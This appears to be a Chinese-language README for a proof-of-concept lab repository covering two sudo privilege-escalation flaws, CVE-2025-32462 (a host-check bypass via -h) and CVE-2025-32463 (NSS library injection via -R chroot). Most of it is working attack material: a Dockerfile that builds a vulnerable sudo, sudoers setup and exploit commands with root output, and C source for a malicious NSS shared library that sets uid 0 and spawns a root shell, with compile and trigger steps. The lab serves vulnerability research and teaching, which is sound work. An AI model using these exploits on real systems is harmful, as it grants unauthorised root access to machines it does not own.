基于容器的实验室,包含两个关键sudo漏洞的概念验证利用:主机验证绕过(CVE-2025-32462)和通过chroot的NSS库注入(CVE-2025-32463),用于权限提升。
本仓库提供了一个基于容器的实验环境以及两个关键 sudo 漏洞的详细 PoC:
-h 主机匹配逻辑绕过-R chroot NSS 库逃逸原始研究由 Rich Mirch – Stratascale CRU 完成
PoC 与实验环境由 MAAYTHM 提供
Sudo 通过 /etc/sudoers 中的 Host_Alias 实施基于主机的授权。
该漏洞发生在使用 -h 选项时:sudo 会评估提供的主机名而非系统的规范主机名,从而允许受限用户绕过基于主机的 sudo 策略。
影响:
sudo 的 -R 选项允许在 chroot 环境中执行命令。初始化期间,NSS(名称服务切换)库会基于 /etc/nsswitch.conf 加载。通过提供一个恶意的 chroot 环境和自定义的 NSS 库,攻击者可以以 root 身份执行代码。
攻击面:
nsswitch.conf影响:
pwn(非 root)CVE-2025-32462-CVE-2025-32463-PoC-Lab
├── Dockerfile
│ # 构建存在漏洞的 sudo 环境
│
├── exploit/
│ ├── cve_2025_32463.c
│ │ # 用于权限提升的恶意 NSS 共享库
│ └── build.sh
│ # 将漏洞载荷编译为 NSS 共享模块
│
├── lab/
│ └── setup.sh
│ # 自动配置存在漏洞的实验环境和 sudoers 设置
│
└── README.md
# 技术文档、漏洞分析和 PoC 使用指南
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \
pkg-config libssl-dev git nano gcc && \
rm -rf /var/lib/apt/lists/*
WORKDIR /opt
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
tar xzf sudo-1.9.16p2.tar.gz && \
cd sudo-1.9.16p2 && \
./configure --disable-gcrypt --prefix=/usr && \
make && make install
RUN useradd -m -s /bin/bash pwn && \
echo 'pwn:pwn' | chpasswd
USER pwn
WORKDIR /home/pwn
CMD ["/bin/bash"]
构建并运行实验环境
docker build -t sudo-vuln-lab .
docker network create --subnet=172.190.0.0/16 sudolabnet
docker run -d \
--network sudolabnet \
--ip 172.190.0.3 \
--hostname lowpriv.test.local \
--add-host highpriv.test.local:172.190.0.2 \
--name lowpriv \
sudo-vuln-lab tail -f /dev/null
CVE-2025-32462 – 利用方法
docker exec -u root -it lowpriv bash
echo 'Host_Alias HIGH = highpriv.test.local' >> /etc/sudoers
echo 'Host_Alias LOW = lowpriv.test.local' >> /etc/sudoers
echo 'pwn HIGH,!LOW = NOPASSWD:ALL' >> /etc/sudoers
正常行为:
sudo id
# 需要密码
利用方法:
sudo -h highpriv.test.local id
# uid=0(root) gid=0(root) groups=0(root)
sudo -h highpriv.test.local hostname -f
# lowpriv.test.local
CVE-2025-32463 – 利用方法
mkdir -p exploitDir/etc
echo 'passwd: /cve_2025_32463' > exploitDir/etc/nsswitch.conf
mkdir libnss_
cp /etc/group exploitDir/etc/
恶意 NSS 库:
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void GIVEMEROOT(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
编译:
gcc -shared -fPIC -Wl,-init,GIVEMEROOT -o libnss_/cve_2025_32463.so.2 cve_2025_32463.c
触发:
sudo -R exploitDir <command>
# 获取 root shell
id
# uid=0(root) gid=0(root)